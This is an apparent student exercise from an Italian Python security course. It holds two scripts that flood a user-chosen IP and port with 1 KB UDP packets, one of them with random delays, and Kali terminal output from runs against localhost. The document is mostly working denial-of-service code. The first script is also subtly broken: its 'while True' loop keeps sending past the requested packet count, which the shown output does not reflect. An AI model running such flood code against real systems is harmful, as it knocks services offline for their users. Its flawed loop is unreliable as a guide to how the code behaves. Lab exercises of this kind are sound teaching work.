

PROGRAMMAZIONE IN PYTHON W7D4

Scrivo un programma che simuli un UDP flood (invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale).

Requisiti:

- il programma deve richiedere l'inserimento dell'IP target (input)
- il programma deve richiedere l'inserimento della porta target (input)
- la grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare (input)

```
import random
import socket

def UDP_flood():
    dati_da_inviare = random._urandom(1024)
    while True:
        for x in range(numero_pacchetti):
            s.sendto(dati_da_inviare, target)
            print("#",x,"- UDP inviato\n")

indirizzo_ip = str(input("Inserisci l'indirizzo IP target:"))
porta = int(input("Inserisci la porta:"))
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare:"))

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    target = (str(indirizzo_ip),int(porta))

except:
    s.close()
    print("[!] Error!!!")

UDP_flood()
```

```
(kali@kali) ~/Desktop/PythonSamples
$ python esercizio3.py
Inserisci l'indirizzo IP target:127.0.0.1
Inserisci la porta:1234
Inserisci il numero di pacchetti da inviare:10
# 0 - UDP inviato
# 1 - UDP inviato
# 2 - UDP inviato
# 3 - UDP inviato
# 4 - UDP inviato
# 5 - UDP inviato
# 6 - UDP inviato
# 7 - UDP inviato
# 8 - UDP inviato
# 9 - UDP inviato

(kali@kali) ~/Desktop/PythonSamples
$ ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.025 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.069 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.068 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.028 ms
^C
--- 127.0.0.1 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5114ms
rtt min/avg/max/mdev = 0.025/0.040/0.068/0.014 ms
```

ESERCIZIO FACOLTATIVO

Implemento un meccanismo di ritardo casuale tra l'invio di pacchetti UDP, tra 0 e 0.1 secondi

```
import random
import socket
import time

# Funzione per l'invio di pacchetti UDP con ritardo casuale
def invia_pacchetti_con_ritardo(ip_target, porta_target, numero_pacchetti):
    # Creazione di un socket UDP
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    print(str(time.time()) + " Inizio attacco")

    # Invio di pacchetti UDP con ritardo casuale
    for x in range(numero_pacchetti):
        # Generazione di dati casuali
        dati_da_inviare = random._urandom(1024)

        # Invio del pacchetto
        s.sendto(dati_da_inviare, (ip_target, porta_target))

        print(str(time.time()) + " - Invio " + str(x))

        # Introduzione di un ritardo casuale
        time.sleep(random.random() * 0.1) # Ritardo casuale tra 0 e 0.1 secondi

# Richiesta dell'input dall'utente
ip_target = input("Inserisci l'indirizzo IP target: ")
porta_target = int(input("Inserisci la porta UDP del target: "))
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

# Invio di pacchetti UDP con ritardo casuale
invia_pacchetti_con_ritardo(ip_target, porta_target, numero_pacchetti)

print("Attacco completato!")
```

```
(kali@kali) ~/Desktop/PythonSamples
$ python esercizio3.py
Inserisci l'indirizzo IP target: 127.0.0.1
Inserisci la porta UDP del target: 1234
Inserisci il numero di pacchetti da inviare: 10
1744668445.168069 Inizio attacco
1744668445.1684213 - Invio 0
1744668445.2100196 - Invio 1
1744668445.2809615 - Invio 2
1744668445.3021617 - Invio 3
1744668445.3325248 - Invio 4
1744668445.3552299 - Invio 5
1744668445.417135 - Invio 6
1744668445.4414184 - Invio 7
1744668445.5138538 - Invio 8
1744668445.5995347 - Invio 9
Attacco completato!
```